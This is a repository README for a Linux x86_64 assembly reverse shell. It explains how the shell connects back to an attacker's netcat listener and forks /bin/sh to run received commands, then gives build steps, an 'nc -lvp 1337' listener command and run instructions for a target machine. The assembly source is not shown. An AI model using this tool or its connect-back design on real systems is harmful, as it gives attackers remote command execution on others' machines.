- Assembly 100%
| netfetch_nyto.asm | ||
| README.md | ||
NetFetch-Nyto
A lightweight, functional x86_64 assembly reverse shell for Linux. This project demonstrates direct system call invocation, socket programming, and process management in NASM.
Overview
netfetch-nyto is a reverse shell implementation that connects to a predefined IP and port, receives commands, and executes them via /bin/sh -c. Unlike standard shells that pipe stdin, this implementation uses a fork-and-wait model to execute commands received over the socket.
Key Features
- Direct Syscalls: Uses raw Linux x64 system calls (e.g.,
sys_socket,sys_connect,sys_fork,sys_execve). - Forking Execution: Forks a new process for every command received, allowing the main listener to remain active.
- Output Redirection: Redirects
stdoutandstderrof the executed command back to the attacker's socket. - Small Footprint: Written entirely in assembly for minimal binary size and no external dependencies (libc-free).
Technical Details
- Architecture: x86_64
- Platform: Linux
- Default Configuration:
- IP:
127.0.0.1(Localhost) - Port:
1337
- IP:
- Workflow:
- Creates a TCP socket.
- Connects to the attacker's listener.
- Enters a loop to
readincoming data into a buffer. forks a child process.- The child redirects output to the socket and calls
execve("/bin/sh", ["/bin/sh", "-c", buffer], NULL). - The parent
wait4s for the child to finish before accepting the next command.
Prerequisites
You will need the following tools installed:
nasm(Netwide Assembler)binutils(forldlinker)netcat(for testing)
Compilation
To assemble and link the source code:
# Assemble the source into an object file
nasm -f elf64 netfetch_nyto.asm -o netfetch_nyto.o
# Link the object file into an executable
ld netfetch_nyto.o -o netfetch_nyto
Usage
1. Start the Listener
On the attacker machine (or a separate terminal), start a listener:
nc -lvp 1337
2. Run the Reverse Shell
On the target machine:
./netfetch_nyto
3. Execute Commands
Once the connection is established, you can type commands into the nc terminal:
whoami
ls -la
uname -a
Security & Ethical Warning
Disclaimer: This project is created for educational purposes and authorized security testing only. Using this software against targets without prior express permission is illegal and unethical. The author is not responsible for any misuse or damage caused by this program.